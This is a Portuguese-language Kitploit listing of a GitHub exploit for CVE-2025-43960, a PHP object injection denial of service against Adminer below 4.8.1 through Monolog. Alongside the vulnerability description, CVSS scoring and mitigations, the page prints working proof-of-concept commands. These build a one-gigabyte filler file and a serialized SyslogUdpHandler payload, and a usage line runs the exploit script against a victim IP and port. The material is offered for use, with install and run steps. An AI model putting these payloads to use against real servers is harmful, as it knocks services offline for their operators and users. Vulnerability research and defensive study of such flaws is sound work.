Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/far00t01/cve-2025-43960
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações Web
GitHubfar00t01/cve-2025-43960

CVE-2025-43960

Exploração de Injeção de Objeto PHP para Adminer <4.8.1 via Monolog, causando Negação de Serviço através de payloads serializados criados. Inclui PoC, pontuação CVSS e orientação de mitigação.

Ver Repositório
13há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-43960 - Injeção de Objetos PHP no Adminer < 4.8.1 via Monolog - Negação de Serviço (DoS)

Após meses de espera por uma resposta da MITRE, obtive o CVE-2025-43960 com um ataque de Injeção de Objetos PHP contra o serviço Adminer (<4.8.1), causando Negação de Serviço (DoS) através de Manipulação de Memória.

https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458

Resumo

Esta vulnerabilidade permite que atacantes remotos não autenticados explorem instâncias do Adminer 4.8.1 que utilizam Monolog, causando Negação de Serviço (DoS) através de Injeção de Objetos PHP. O vetor de ataque não requer autenticação nem interação do usuário, tornando-se um problema de alta gravidade (CVSS 7.5) com potencial de escalar para 8.6 em determinados ambientes compartilhados.

Descrição sugerida

O Adminer 4.8.1, ao usar Monolog para registro de logs, permite uma negação de serviço (consumo de memória) através de um payload serializado malicioso, como uma string s:1000000000, também conhecido como um problema de Injeção de Objetos PHP. A vulnerabilidade afeta instâncias do Adminer que usam Monolog para registro, onde a entrada não confiável do usuário é desserializada sem validação adequada. Ao enviar um grande objeto desserializado, um atacante pode forçar alto consumo de memória, tornando a interface do Adminer inoperante e causando uma DoS em todo o servidor.

  • Embora o servidor possa se recuperar após vários minutos, múltiplas requisições concorrentes podem causar uma falha completa, exigindo intervenção manual para restaurar o serviço.

Pontuação CVSS v3.1

Pontuação Base: 7.5 (Alta)
Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Nota sobre implantações específicas:

Se a falha do Adminer também interromper outros serviços/tenants (ex.: contêiner ou processo compartilhado), Escopo: Alterado pode se aplicar:

  • Vetor: AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
  • Pontuação: 8.6 (Alta)

Informações Adicionais

Medidas Potenciais de Mitigação

  • Evite usar unserialize() em dados não confiáveis dentro do Adminer e Monolog.
  • Imponha limites de memória (memory_limit) no PHP para evitar consumo excessivo de recursos.
  • Use allowed_classes em unserialize() para restringir a desserialização de classes não autorizadas.

Fornecedor do Produto

  • Adminer

Base de Código do Produto Afetado

  • Adminer < 4.8.1 (última versão estável no momento do teste)

Componente Afetado

  • Integração do Monolog no Adminer

Funcionalidade Problemática

  • Injeção de Objetos PHP via unserialize()

Área Potencialmente Afetada

  • Qualquer instância do Adminer onde o registro baseado em Monolog é usado

Prova de Conceito (PoC)

Geração do Payload:

root@kitploit:~
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
root@kitploit:~
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
   s:9:"*socket";r:2;
   s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
 }' > payload.txt

Impacto:

  • O servidor entra em estado de carregamento, tornando o Adminer inacessível.
  • O frontend desaparece completamente enquanto a conexão está ativa.
  • Quando o ataque para, o servidor se recupera após alguns minutos, a menos que múltiplas máquinas sejam usadas (cenário de DDoS).

Requisitos de Instalação

  • Python: Certifique-se de ter o Python 3.x instalado. Você pode verificar isso executando python3 --version no seu terminal.

Dependências Python

  • Flask: Usado para executar o servidor HTTP local que serve o payload.
  • requests: Usado para interagir com a aplicação alvo durante o processo de exploração.

Instalar

root@kitploit:~
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960 
pip install -r requirement.txt
python3 cve-2025-43960.py

Uso do Exploit:

root@kitploit:~
python3 cve-2025-43960.py 

Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000

Referências

  • https://www.adminer.org
  • https://github.com/vrana/adminer
  • https://github.com/Seldaek/monolog
  • https://www.cvedetails.com/product/44183/Adminer-Adminer.html?vendor_id=17755
  • https://cwe.mitre.org/data/definitions/502.html
  • https://cwe.mitre.org/data/definitions/400.html
  • https://cwe.mitre.org/data/definitions/789.html

Descobridor

Fabian Rosales (@far00t01) Medium.

Baixar ferramenta